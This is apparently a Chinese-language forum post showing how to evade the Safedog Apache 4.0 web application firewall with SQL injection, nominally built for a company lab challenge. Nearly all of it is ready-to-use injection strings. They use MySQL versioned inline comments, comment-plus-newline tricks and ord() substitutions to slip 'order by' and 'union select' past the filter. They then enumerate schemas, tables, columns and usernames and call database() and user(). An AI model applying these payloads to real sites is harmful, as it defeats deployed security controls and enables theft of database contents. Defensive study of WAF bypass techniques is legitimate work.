最近虽然比较忙,但是还是想写点技术方面的东西做个记录。

正好给公司攻防环境出了一道web的题加了狗,就试着绕一下分享出来吧.

环境预览


用了最新版的安全狗apache版本4.0


漏洞环境

绕过and 1=1


and 1=1拦截


and ord(0x1) == and True

and ord(0x0) == and False

绕过 order by


正常order by 被咬

在 order 和by之间放点无效字符,然后再换个行

order /*|--|*/--+%20%0Aby 3%23 绕过

绕过 union select


union select 1,2,3 被咬

这里用内连注释+空语句+注释+换行

注:MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些 MySQL特有的语句放在 /! ... / 中,这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。 /50001 /表示数据库版本>=5.00.01时中间的语句才会执行。

/*!union*/ /*!*/ --+1%0Aselect 1,2,3 %23 绕过

获取数据

不演示被咬的了...

到了这里就比较简单了

内连注释+空语句+注释+换行 可绕所有

查库

/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!schema_name*/) /*!from*/ information_schema.schemata--+*/%23

查表

/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!table_name*/) /*!from*/ information_schema.tables where table_schema=0x747261696E--+*/%23

查字段

/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!column_name*/) /*!from*/ information_schema.columns where table_name=0x7573657273--+*/%23

查数据

/*!union*//*!*/--+1%0A%0ASELECT%201,2,concat(/*!username*/)%20/*!from*/%20users--+*/%23

系统函数


这里常规的方法还是被咬,但是用变量处理一下就直接过了。

/*!union*//*!*/--+1%0ASELECT 1,@s:=database/**/(),1%23

/*!union*//*!*/--+1%0ASELECT 1,@s:=user/**/(),1%23

点击收藏 | 8 关注 | 2
登录 后跟帖